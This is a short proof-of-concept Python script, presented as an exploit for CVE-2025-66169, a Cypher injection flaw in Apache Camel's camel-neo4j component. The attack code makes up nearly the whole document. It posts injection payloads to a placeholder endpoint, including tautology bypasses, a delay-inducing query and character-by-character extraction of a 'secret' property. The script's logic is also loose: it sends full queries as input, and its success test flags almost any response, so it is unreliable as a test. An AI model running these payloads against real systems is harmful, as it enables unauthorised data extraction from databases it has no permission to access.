CVE-2025-66169

# CVE-2025-66169 Cypher Injection PoC for Apache Camel camel-neo4j # This PoC demonstrates a time-based blind Cypher injection import requests import time TARGET_URL = "http://target-server:8080/api/neo4j/query" def test_cypher_injection(): """ Test for Cypher injection vulnerability in camel-neo4j component. Replace 'property' with actual field names based on target application. """ # Normal query (baseline) normal_payload = {"query": "MATCH (n) RETURN n"} start = time.time() response = requests.post(TARGET_URL, json=normal_payload) baseline_time = time.time() - start # Blind injection using time-based technique # This payload attempts to extract data character by character injection_payloads = [ # Basic injection test {"query": "MATCH (n) WHERE n.property = '' OR '1'='1 RETURN n"}, # Time-based blind injection (Neo4j specific) {"query": "MATCH (n) WHERE n.property = '' OR 1=1 WITH collect(n) as nodes UNWIND nodes as n RETURN n LIMIT 1"}, # Detect vulnerable parameter by causing delay {"query": "MATCH (n) WHERE n.property = '' OR 1=1 WITH [x in range(1,1000000) | 'a'] as dummy RETURN dummy[0]"}, # Extract data using substring and ASCII comparison {"query": "MATCH (n) WHERE n.property = '' OR 1=1 AND ascii(substring(n.secret,0,1)) > 64 RETURN n"} ] print(f"Baseline response time: {baseline_time:.2f}s") print("Testing injection payloads...") for i, payload in enumerate(injection_payloads): try: start = time.time() response = requests.post(TARGET_URL, json=payload, timeout=30) elapsed = time.time() - start print(f"\nPayload {i+1}:") print(f" Status: {response.status_code}") print(f" Response time: {elapsed:.2f}s") print(f" Response length: {len(response.text)}") # Check for signs of successful injection if elapsed > baseline_time * 2 or response.status_code != 500: print(" [!] Potential injection detected") except requests.exceptions.RequestException as e: print(f" [!] Request failed: {e}") if __name__ == "__main__": print("CVE-2025-66169 Cypher Injection Test") print("=" * 50) test_cypher_injection()

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